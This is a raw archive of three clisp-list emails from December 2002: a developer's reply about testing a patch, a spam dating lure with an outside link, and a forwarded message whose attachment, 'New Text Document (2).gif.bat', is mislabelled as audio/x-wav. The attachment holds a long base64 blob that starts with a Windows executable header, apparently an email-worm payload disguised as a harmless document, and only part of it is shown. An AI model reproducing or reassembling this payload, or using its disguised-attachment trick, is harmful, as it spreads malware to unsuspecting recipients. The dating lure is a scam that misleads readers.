09 Dec 2002 10:41:31 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021209184125.WZRT4645.out004.verizon.net@loiso.podval.org>; Mon, 9 Dec 2002 12:41:25 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB9Iisk7014006; Mon, 9 Dec 2002 13:44:54 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB9IirfO014002; Mon, 9 Dec 2002 13:44:53 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <874r9xmdj4.fsf@bird.agharta.de> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.32.163] at Mon, 9 Dec 2002 12:41:25 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 9 10:42:07 2002 X-Original-Date: 09 Dec 2002 13:44:53 -0500 > * In message <874r9xmdj4.fsf@bird.agharta.de> > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > * Sent on 02 Dec 2002 02:10:23 +0100 > * Honorable Edi Weitz writes: > > Sam Steingold writes: > > > Edi, are you prepared to check out the CVS head and test this > > change? > > Yep, would be OK with me if you allow for short delays (maybe one to > three days - sometimes I'm quite busy with other things). Let me know > when there's something to test. you had a week to test the patch. so, any problems so far? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Your mouse has moved - WinNT has to be restarted for this to take effect. From aeio@aol.com Mon Dec 09 17:18:23 2002 Received: from gd2-203136.gd.icnet.ne.jp ([211.8.203.136] helo=aol.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18LZ2T-0004kg-00; Mon, 09 Dec 2002 17:18:22 -0800 Received: from 78.149.215.235 ([78.149.215.235]) by f64.law4.hottestmale.com with local; Tue, 10 Dec 2002 13:21:05 +0100 Received: from unknown (84.26.75.200) by da001d2020.loxi.pianstvu.net with asmtp; 10 Dec 2002 14:18:41 -0600 Received: from unknown (HELO web.mail.halfeye.com) (40.93.169.121) by rly-xw01.otpalo.com with NNFMP; Tue, 10 Dec 2002 08:16:17 -0400 Received: from 213.252.11.81 ([213.252.11.81]) by smtp-server.tampabayr.com with asmtp; Tue, 10 Dec 2002 04:13:53 -0300 Reply-To: Message-ID: <004a02e51b6a$8678b6b2$7db04dc4@whnvks> From: To: , , , MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Importance: Normal Subject: [clisp-list] I never did Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 9 17:19:04 2002 X-Original-Date: Mon, 09 Dec 2002 23:14:37 +0200 Hi !.. think you relayed to my personal ad! Yes I do get a lot of responses but you got me curious I haven't done this in a while so please forgive my nervousness. And I hope your still around, (the good people always get taken fast) Anyway since I know a "little" about you :) (that was cute by the way), you should take a look at me so that you can decide if we match. I'm not sure exactly what ad you replied to, I have a couple, but I do have a detailed profile with a picture at http://www.hot.ee/vipsingles/ Chris Well...If you're not interested any more, that's ok too.... Have a great night. Bye....:) ChrisBrenda27 Member No. 8528AsoX2-807GncU8524WemO4-881cGAJ7614wvyR2-131luCt7939qcAa6-525ql61 From chinnu_konda@hotmail.com Mon Dec 09 22:28:00 2002 Received: from uis245080.uis.edu ([216.124.245.80] helo=lists.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Lds7-0004U3-00 for ; Mon, 09 Dec 2002 22:27:59 -0800 From: chinnu_konda To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.50.4133.2400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=dtjsnvc Message-Id: Subject: [clisp-list] Fw: New Text Document (2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 9 22:28:03 2002 X-Original-Date: Tue,10 Dec 2002 00:27:41 PM --dtjsnvc Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Abstraction provided by modules as types(classes). This abstraction facilitates: 1) reduction in conceptual load 2) Fault containment - limiting the possible scope of a program bug. Provide constrains on when and where components can be used 3)independence/orthogonality
.
.

--dtjsnvc Content-Type: audio/x-wav; name=New Text Document (2).gif.bat Content-Transfer-Encoding: base64 Content-ID: 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 